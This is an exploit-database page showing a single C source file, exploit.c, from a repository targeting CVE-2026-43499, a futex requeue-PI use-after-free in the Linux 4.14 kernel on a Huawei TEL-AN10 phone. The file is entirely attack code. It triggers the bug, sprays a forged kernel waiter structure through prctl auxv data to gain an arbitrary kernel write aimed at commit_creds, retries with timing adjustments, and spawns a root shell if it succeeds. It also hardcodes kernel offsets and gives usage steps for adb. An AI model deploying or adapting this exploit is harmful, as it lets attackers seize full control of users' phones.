Exploit databaseDownload repository ZIP
GH-46f0b93ddca7805a70bd28a100615bfd
xuexgao/ghostlock-tel-an10
Sources for CVE-2026-43499
165 sourcesPreferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source
Repository files9
xuexgao/ghostlock-tel-an10Revision ffc0605f4f9a
- ↑..Parent directory
- Makefile
- README_4.14.md
- System.map
- exploit.c
- ghostlock_exploit
- ghostlock_trigger
- root.sh
- target.h
- trigger.c
Files from this repository share one source choice. Supporting files may cover other vulnerabilities.
poc/exploit.c
Suggested starting fileC · 22,309 bytes/*
* ============================================================================
* GhostLock (CVE-2026-43499) - HUAWEI TEL-AN10 (Kirin 810) 提权 Exploit
* Target: TEL-AN10 (denver) - Kernel 4.14.116+ (merge_denver_defconfig)
* Arch: ARM64 / aarch64 (39-bit VA, 4KB pages)
* ============================================================================
*
* 利用方法: FUTEX_REQUEUE_PI EDEADLK -> rt_waiter 栈 UAF -> 伪造 rt_waiter
* 写入目标: 可配置 (CONFIGFS / PIPE_FOPS / 自定义地址)
*
* 编译: make exploit
* 使用: adb push 到 /data/local/tmp/ 后执行
*
* 偏移来源: repo3/System.map (手机 BOOT 内核) + opensource vmlinux DWARF
* 注意: 先用 trigger 验证漏洞, DEBUG_MODE=1 验证写原语, 再切换 ROOT 模式
* ============================================================================
*/
#define _GNU_SOURCE 1
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>
#include <pthread.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <linux/futex.h>
#include <sys/prctl.h>
#include <linux/prctl.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <linux/memfd.h>
#include <stdatomic.h>
#include <signal.h>
#include <sched.h>
#include <sys/ioctl.h>
#include <sys/wait.h>
#ifndef FALLOC_FL_PUNCH_HOLE
#define FALLOC_FL_PUNCH_HOLE 0x2
#endif
#ifndef FALLOC_FL_KEEP_SIZE
#define FALLOC_FL_KEEP_SIZE 0x1
#endif
#ifndef __NR_fallocate
#define __NR_fallocate 47
#endif
/* ================================================================
* 配置区 - 根据实际设备调整
* ================================================================ */
/* 利用目标选择: 1=CONFIGFS, 2=PIPE_BUF_OPS, 3=自定义地址 */
#define TARGET_TYPE 1
/* 调试模式: 1=写入特征值(测试用), 0=写入提权payload */
#define DEBUG_MODE 1
#define MAGIC_VALUE 0xdead0000dead0000UL
#define TYPE_FOR_RB_LEFT 3
#define MEMFD_OFFSET 4090
#define RETRY_COUNT 50
#define FUTEX_TIMEOUT_MS 0 /* 0 = 无限等待 */
/* ================================================================
* 内核符号偏移 (HUAWEI TEL-AN10 4.14.116 - repo3/System.map)
* 基址: KIMAGE_TEXT_BASE = 0xffffff8008080000 (_text)
* ================================================================ */
/* 内核基址 - 运行时优先从 /proc/kallsyms 获取, 失败用硬编码基址 */
static unsigned long g_kernel_base = 0;
/* 核心函数 */
#define OFF_COMMIT_CREDS 0x0006e380 /* ffffff80080ee380 */
#define OFF_PREPARE_KERNEL_CRED 0x0006e6f8 /* ffffff80080ee6f8 */
#define OFF_INIT_TASK 0x023dc640 /* ffffff800a45c640 */
/* 4.14 无 KASLR 时的回退基址 (若 KASLR 开启需先泄漏 slide) */
#define FALLBACK_KIMAGE_BASE 0xffffff8008080000ULL
/* ConfigFS 目标 (4.14: configfs_read_file / configfs_write_file) */
#define OFF_CONFIGFS_BIN_WRITE_ITER 0x00315d90 /* configfs_write_bin_file */
#define OFF_CONFIGFS_READ_ITER 0x003158e0 /* configfs_read_file */
/* 运行时解析的地址 */
static unsigned long g_commit_creds;
static unsigned long g_prepare_kernel_cred;
static unsigned long g_init_task;
static unsigned long g_target_addr = 0;
static int g_punch_delay_us = 50;
static volatile int g_should_exit = 0;
/* ================================================================
* 数据结构 (4.14 rt_mutex_waiter: tree_entry/pi_tree_entry/task/
* lock/prio/deadline, sizeof=0x50)
* ================================================================ */
struct rb_node {
unsigned long __rb_parent_color;
unsigned long rb_right;
unsigned long rb_left;
} __attribute__((packed));
struct fake_rt_waiter {
struct rb_node tree; /* 0x00 */
struct rb_node pi_tree; /* 0x18 */
unsigned long task; /* 0x30 */
unsigned long lock; /* 0x38 */
int prio; /* 0x40 (4.14: prio, 无 wake_state) */
unsigned long deadline; /* 0x48 (4.14: deadline, 无 ww_ctx) */
} __attribute__((packed));
struct elf_auxinfo {
unsigned long type;
unsigned long value;
};
struct sched_attr_min {
uint32_t size;
uint32_t policy;
uint64_t flags;
int32_t nice;
uint32_t priority;
uint64_t runtime;
uint64_t deadline;
uint64_t period;
};
/* ================================================================
* Futex 同步状态
* ================================================================ */
static uint32_t f_wait, f_pi_target, f_pi_chain;
static volatile int a_ready, a_tid, a_waiting;
static volatile int b_started;
static volatile int stage2_done;
static volatile int waiter_ready_futex = 0;
static volatile int hole_punched_futex = 0;
static int g_memfd = -1;
static void *g_mapped = NULL;
static struct elf_auxinfo g_auxv[12];
/* ================================================================
* 打印宏
* ================================================================ */
#define INFO(fmt, args...) printf("[*] " fmt "\n", ##args)
#define GOOD(fmt, args...) printf("[+] " fmt "\n", ##args)
#define FAIL(fmt, args...) printf("[-] " fmt "\n", ##args)
#define ERR(fmt, args...) printf("[-] " fmt ": %s\n", ##args, strerror(errno))
/* ================================================================
* Futex 辅助函数
* ================================================================ */
static inline long futex_op(uint32_t *uaddr, int op, uint32_t val,
void *ts, uint32_t *uaddr2, uint32_t v3)
{
return syscall(SYS_futex, uaddr, op, val, ts, uaddr2, v3);
}
static inline void futex_pi_lock(uint32_t *uaddr) {
syscall(SYS_futex, uaddr, FUTEX_LOCK_PI | FUTEX_PRIVATE_FLAG, 0, 0, 0, 0);
}
static inline void futex_pi_unlock(uint32_t *uaddr) {
syscall(SYS_futex, uaddr, FUTEX_UNLOCK_PI | FUTEX_PRIVATE_FLAG, 0, 0, 0, 0);
}
static inline int futex_wait_requeue_pi(uint32_t *uaddr, uint32_t *uaddr2, struct timespec *ts) {
return syscall(SYS_futex, uaddr, FUTEX_WAIT_REQUEUE_PI | FUTEX_PRIVATE_FLAG, 0, ts, uaddr2, 0);
}
static inline int futex_cmp_requeue_pi(uint32_t *uaddr, uint32_t *uaddr2) {
return syscall(SYS_futex, uaddr, FUTEX_CMP_REQUEUE_PI | FUTEX_PRIVATE_FLAG,
1, (void *)1, uaddr2, 0);
}
static inline void futex_wait_int(volatile int *uaddr, int val) {
syscall(SYS_futex, (int *)uaddr, FUTEX_WAIT, val, 0, 0, 0);
}
static inline void futex_wake_int(volatile int *uaddr) {
syscall(SYS_futex, (int *)uaddr, FUTEX_WAKE, 1, 0, 0, 0);
}
/* ================================================================
* 绑核
* ================================================================ */
static void set_cpu(int cpu)
{
cpu_set_t cpuset;
CPU_ZERO(&cpuset);
CPU_SET(cpu, &cpuset);
sched_setaffinity(0, sizeof(cpu_set_t), &cpuset);
}
/* ================================================================
* 符号解析 (/proc/kallsyms)
* ================================================================ */
static unsigned long kallsyms_find(const char *symname)
{
char buf[512], name[256], type;
unsigned long addr;
FILE *fp = fopen("/proc/kallsyms", "r");
if (!fp) return 0;
while (fgets(buf, sizeof(buf), fp)) {
if (sscanf(buf, "%lx %c %255s", &addr, &type, name) == 3 &&
strcmp(name, symname) == 0) {
fclose(fp);
return addr;
}
}
fclose(fp);
return 0;
}
static int resolve_symbols(void)
{
struct {
const char *name;
unsigned long *out;
unsigned long fallback_off;
} syms[] = {
{"commit_creds", &g_commit_creds, OFF_COMMIT_CREDS},
{"prepare_kernel_cred", &g_prepare_kernel_cred, OFF_PREPARE_KERNEL_CRED},
{"init_task", &g_init_task, OFF_INIT_TASK},
{NULL, NULL, 0}
};
INFO("解析内核符号 (/proc/kallsyms)...");
/* 先找init_task确定内核基址 */
unsigned long init_task_addr = kallsyms_find("init_task");
if (init_task_addr) {
g_kernel_base = init_task_addr - OFF_INIT_TASK;
g_init_task = init_task_addr;
GOOD("init_task @ 0x%016lx (base=0x%016lx)", init_task_addr, g_kernel_base);
} else {
FAIL("无法解析 init_task,使用硬编码偏移 (4.14: 0xffffff8008080000)");
g_kernel_base = FALLBACK_KIMAGE_BASE;
g_init_task = g_kernel_base + OFF_INIT_TASK;
}
int resolved = 0;
for (int i = 0; syms[i].name; i++) {
unsigned long tmp = kallsyms_find(syms[i].name);
if (tmp) {
*syms[i].out = tmp;
GOOD("%-22s @ 0x%016lx", syms[i].name, tmp);
resolved++;
} else {
*syms[i].out = g_kernel_base + syms[i].fallback_off;
INFO("%-22s @ 0x%016lx (fallback)", syms[i].name, *syms[i].out);
}
}
/* 确定写入目标地址 */
#if TARGET_TYPE == 1
/* CONFIGFS 方法 (4.14 符号名: configfs_write_file/configfs_read_file) */
g_target_addr = kallsyms_find("configfs_write_file");
if (!g_target_addr) {
/* 备选: configfs_read_file */
g_target_addr = kallsyms_find("configfs_read_file");
}
if (!g_target_addr) {
g_target_addr = kallsyms_find("configfs_write_bin_file");
}
if (g_target_addr) {
GOOD("target (configfs) @ 0x%016lx", g_target_addr);
} else {
FAIL("未找到 configfs 符号,尝试 pipe...");
g_target_addr = kallsyms_find("anon_pipe_buf_ops");
if (g_target_addr) {
GOOD("target (pipe_ops) @ 0x%016lx", g_target_addr);
} else {
FAIL("找不到可用目标符号,请手动指定");
return -1;
}
}
#elif TARGET_TYPE == 2
/* PIPE 方法 */
g_target_addr = kallsyms_find("anon_pipe_buf_ops");
if (g_target_addr) {
GOOD("target (pipe_ops) @ 0x%016lx", g_target_addr);
} else {
FAIL("找不到 anon_pipe_buf_ops");
return -1;
}
#else
#error "Invalid TARGET_TYPE"
#endif
INFO("符号解析完成: %d 个动态解析", resolved);
return 0;
}
/* ================================================================
* 构造喷射数据 (auxv 伪造 rt_waiter)
* ================================================================ */
static void prepare_spray(void)
{
unsigned long write_value;
if (DEBUG_MODE) {
write_value = MAGIC_VALUE;
} else {
/* 提权模式: 写入 commit_creds 函数指针
* 注意: 实际payload需要根据目标结构调整
* 这里写入的是 fake rt_waiter 的 rb_left 字段
* 通过 PI 链遍历时的 rb_tree 操作实现任意写 */
write_value = g_commit_creds;
}
/* 构造 fake rt_waiter 结构体 (4.14 布局) */
struct fake_rt_waiter fw = {0};
fw.tree.__rb_parent_color = 0xdeadbeef;
fw.tree.rb_left = write_value; /* 被覆写的目标值 */
fw.tree.rb_right = 0;
fw.pi_tree.__rb_parent_color = 0;
fw.pi_tree.rb_left = 0;
fw.pi_tree.rb_right = 0;
fw.task = g_init_task; /* 指向合法 task_struct */
fw.lock = g_target_addr - 8; /* 目标 lock 指针 (减8对齐) */
fw.prio = 130; /* 4.14: prio 字段 */
fw.deadline = 0; /* 4.14: deadline 字段 */
/* 通过 auxv 字段喷射到内核栈上 */
memset(g_auxv, 0, sizeof(g_auxv));
g_auxv[0].type = 1; g_auxv[0].value = fw.tree.__rb_parent_color;
g_auxv[1].type = 2; g_auxv[1].value = fw.tree.rb_right;
g_auxv[2].type = TYPE_FOR_RB_LEFT; g_auxv[2].value = fw.tree.rb_left;
g_auxv[3].type = 4; g_auxv[3].value = 0xcccc0000cccc0000UL;
g_auxv[4].type = 6; g_auxv[4].value = 0xbbbb0000bbbb0000UL;
g_auxv[5].type = 7; g_auxv[5].value = fw.pi_tree.rb_left;
g_auxv[6].type = 8; g_auxv[6].value = fw.task;
g_auxv[7].type = 9; g_auxv[7].value = fw.lock;
g_auxv[8].type = 10; g_auxv[8].value = fw.prio;
g_auxv[9].type = 11; g_auxv[9].value = fw.deadline;
g_auxv[10].type = 0; /* AT_NULL 结束 */
/* 准备 memfd (更精确的UAF窗口控制) */
if (g_mapped == NULL) {
g_memfd = syscall(SYS_memfd_create, "spray", MFD_CLOEXEC);
if (g_memfd >= 0) {
ftruncate(g_memfd, 8192);
g_mapped = mmap(NULL, 8192, PROT_READ | PROT_WRITE, MAP_SHARED, g_memfd, 0);
if (g_mapped != MAP_FAILED) {
memcpy((char *)g_mapped + MEMFD_OFFSET, g_auxv, sizeof(g_auxv));
GOOD("memfd 准备完成,目标: 0x%lx", g_target_addr);
} else {
g_mapped = NULL;
}
}
}
}
/* ================================================================
* 线程函数
* ================================================================ */
/* Waiter 线程 - 漏洞触发点 */
static void *waiter_thread(void *arg)
{
(void)arg;
a_tid = syscall(SYS_gettid);
set_cpu(0);
futex_pi_lock(&f_pi_chain);
a_ready = 1;
usleep(20000);
a_waiting = 1;
INFO("[waiter] 进入 FUTEX_WAIT_REQUEUE_PI...");
/* 无限等待,由 EDEADLK 或 requeue 唤醒 */
int ret = futex_wait_requeue_pi(&f_wait, &f_pi_target, NULL);
if (g_should_exit) pthread_exit(NULL);
if (ret < 0 && errno == EDEADLK) {
GOOD("[waiter] EDEADLK 触发! 立即执行 auxv 喷射...");
} else {
INFO("[waiter] futex 返回: ret=%d errno=%d", ret, errno);
}
/* 关键: 在 UAF 窗口内执行 PR_SET_MM_MAP
* 将 fake rt_waiter 喷射到刚释放的栈帧位置 */
waiter_ready_futex = 1;
futex_wake_int(&waiter_ready_futex);
struct prctl_mm_map map = {0};
if (g_mapped && g_mapped != MAP_FAILED) {
map.auxv = (uint64_t *)((char *)g_mapped + MEMFD_OFFSET);
map.auxv_size = sizeof(g_auxv);
map.exe_fd = -1;
} else {
map.auxv = (uint64_t *)g_auxv;
map.auxv_size = sizeof(g_auxv);
map.exe_fd = -1;
}
int pr = prctl(PR_SET_MM, PR_SET_MM_MAP, &map, sizeof(map), 0);
if (pr < 0) {
INFO("[waiter] prctl PR_SET_MM_MAP: %d (%s)", pr, strerror(errno));
} else {
GOOD("[waiter] PR_SET_MM_MAP 成功");
}
while (!stage2_done && !g_should_exit)
usleep(100);
futex_pi_unlock(&f_pi_chain);
pthread_exit(NULL);
}
/* Owner 线程 - 建立死锁链 */
static void *owner_thread(void *arg)
{
(void)arg;
set_cpu(1);
futex_pi_lock(&f_pi_target);
while (!a_ready && !g_should_exit) sched_yield();
if (g_should_exit) pthread_exit(NULL);
b_started = 1;
futex_pi_lock(&f_pi_chain); /* 这里会阻塞,形成死锁链 */
while (!g_should_exit) pause();
pthread_exit(NULL);
}
/* Puncher 线程 - 控制UAF窗口时序 */
static void *puncher_thread(void *arg)
{
(void)arg;
set_cpu(2);
while (!waiter_ready_futex && !g_should_exit)
futex_wait_int(&waiter_ready_futex, 0);
if (g_should_exit) pthread_exit(NULL);
usleep(g_punch_delay_us);
/* PUNCH_HOLE 释放 memfd 页,制造精确的释放窗口 */
if (g_memfd >= 0) {
syscall(__NR_fallocate, g_memfd,
FALLOC_FL_PUNCH_HOLE | FALLOC_FL_KEEP_SIZE,
4096, 4096);
}
hole_punched_futex = 1;
futex_wake_int(&hole_punched_futex);
while (!g_should_exit) pause();
pthread_exit(NULL);
}
/* Consumer 线程 - 触发 PI 链遍历实现任意写 */
static void *consumer_thread(void *arg)
{
(void)arg;
set_cpu(3);
int tid;
while (!(tid = a_tid) && !g_should_exit) sched_yield();
if (g_should_exit) pthread_exit(NULL);
while (!hole_punched_futex && !g_should_exit)
futex_wait_int(&hole_punched_futex, 0);
if (g_should_exit) pthread_exit(NULL);
INFO("[consumer] 触发 sched_setattr 启动 PI 链遍历...");
/* sched_setattr 触发 rt_mutex_adjust_prio_chain()
* 跟随 UAF 的 pi_blocked_on 指针 → 写入伪造的 rt_waiter */
struct sched_attr_min attr = {
.size = sizeof(attr),
.policy = 0, .flags = 0,
.nice = 19, .priority = 0,
.runtime = 0, .deadline = 0, .period = 0,
};
syscall(SYS_sched_setattr, tid, &attr, 0);
stage2_done = 1;
futex_wake_int(&stage2_done);
while (!g_should_exit) pause();
pthread_exit(NULL);
}
/* ================================================================
* 提权 payload (子进程执行)
* ================================================================ */
static void root_payload(void)
{
/* 经典 commit_creds(prepare_kernel_cred(0)) 模式
* 实际触发由漏洞的任意写原语完成
* 这里是成功后的用户态操作 */
if (getuid() == 0) {
GOOD("=== 提权成功! uid=0 ===");
execl("/system/bin/sh", "sh", "-i", NULL);
}
}
/* ================================================================
* 重置状态
* ================================================================ */
static void reset_state(void)
{
f_wait = f_pi_target = f_pi_chain = 0;
a_ready = a_tid = a_waiting = 0;
b_started = 0;
stage2_done = 0;
waiter_ready_futex = 0;
hole_punched_futex = 0;
g_should_exit = 0;
}
static void cleanup(void)
{
if (g_mapped && g_mapped != MAP_FAILED) {
munmap(g_mapped, 8192);
g_mapped = NULL;
}
if (g_memfd >= 0) {
close(g_memfd);
g_memfd = -1;
}
}
static void stop_threads(pthread_t t1, pthread_t t2, pthread_t t3, pthread_t t4)
{
g_should_exit = 1;
futex_wake_int(&waiter_ready_futex);
futex_wake_int(&hole_punched_futex);
futex_wake_int(&stage2_done);
pthread_join(t1, NULL);
pthread_join(t2, NULL);
pthread_join(t3, NULL);
pthread_join(t4, NULL);
}
/* ================================================================
* 主函数
* ================================================================ */
int main(int argc, char **argv)
{
(void)argc; (void)argv;
printf("\n");
printf("==================================================\n");
printf(" GhostLock (CVE-2026-43499) Exploit\n");
printf(" Target: HUAWEI TEL-AN10 (4.14.116+)\n");
printf(" Mode: %s\n", DEBUG_MODE ? "DEBUG (write magic value)" : "ROOT (privilege escalation)");
printf("==================================================\n\n");
/* 解析符号 */
if (resolve_symbols() != 0) {
FAIL("符号解析失败,请检查内核配置");
return 1;
}
prepare_spray();
printf("\n");
/* 主循环: 多次尝试,自动调整 punch 延迟 */
for (int attempt = 0; attempt < RETRY_COUNT; attempt++) {
INFO("--- 尝试 #%d/%d (delay=%dus) ---",
attempt + 1, RETRY_COUNT, g_punch_delay_us);
reset_state();
cleanup();
prepare_spray();
pthread_t t_waiter, t_owner, t_puncher, t_consumer;
pthread_create(&t_waiter, NULL, waiter_thread, NULL);
pthread_create(&t_owner, NULL, owner_thread, NULL);
pthread_create(&t_puncher, NULL, puncher_thread, NULL);
pthread_create(&t_consumer, NULL, consumer_thread, NULL);
/* 等待线程就绪 */
int cnt = 0;
while ((!a_waiting || !b_started) && cnt < 500) {
usleep(1000); cnt++;
}
if (cnt >= 500) {
FAIL("线程启动超时");
stop_threads(t_waiter, t_owner, t_puncher, t_consumer);
continue;
}
usleep(30000);
/* 触发漏洞: FUTEX_CMP_REQUEUE_PI → EDEADLK → UAF */
INFO("触发 FUTEX_CMP_REQUEUE_PI...");
int ret = futex_cmp_requeue_pi(&f_wait, &f_pi_target);
if (ret != -1 || errno != EDEADLK) {
FAIL("未触发 EDEADLK (ret=%d errno=%d)", ret, errno);
stop_threads(t_waiter, t_owner, t_puncher, t_consumer);
continue;
}
GOOD("EDEADLK 触发成功,等待写入完成...");
/* 等待 Stage2 完成 */
cnt = 0;
while (!stage2_done && cnt < 1000) {
usleep(10000); cnt++;
}
if (!stage2_done) {
INFO("Stage2 超时,调整延迟重试");
stop_threads(t_waiter, t_owner, t_puncher, t_consumer);
goto next_attempt;
}
GOOD("Stage2 完成 (PI 链遍历已执行)");
/* 检查结果 */
if (DEBUG_MODE) {
INFO("调试模式: 请检查 dmesg 或 panic 信息");
INFO("如果 panic 地址包含 0xdead 说明任意写成功");
INFO("如果未 panic,尝试调整 TYPE_FOR_RB_LEFT (当前=%d)", TYPE_FOR_RB_LEFT);
} else {
/* 提权模式: 检查 uid 是否变为 0 */
if (getuid() == 0) {
root_payload();
return 0;
} else {
INFO("uid=%d,继续尝试...", getuid());
}
}
stop_threads(t_waiter, t_owner, t_puncher, t_consumer);
next_attempt:
/* 递增延迟,扫描 UAF 窗口 */
g_punch_delay_us += 30;
if (g_punch_delay_us > 3000) g_punch_delay_us = 20;
printf("\n");
}
FAIL("%d 次尝试全部结束", RETRY_COUNT);
INFO("提示:");
INFO(" 1. 确认内核未打补丁 (先用 trigger.c 测试)");
INFO(" 2. 调整 TYPE_FOR_RB_LEFT (尝试 2,3,4,5,6)");
INFO(" 3. 确认目标符号地址正确 (运行 extract_symbols.py)");
INFO(" 4. 尝试不同的利用目标 (修改 TARGET_TYPE)");
cleanup();
return 1;
}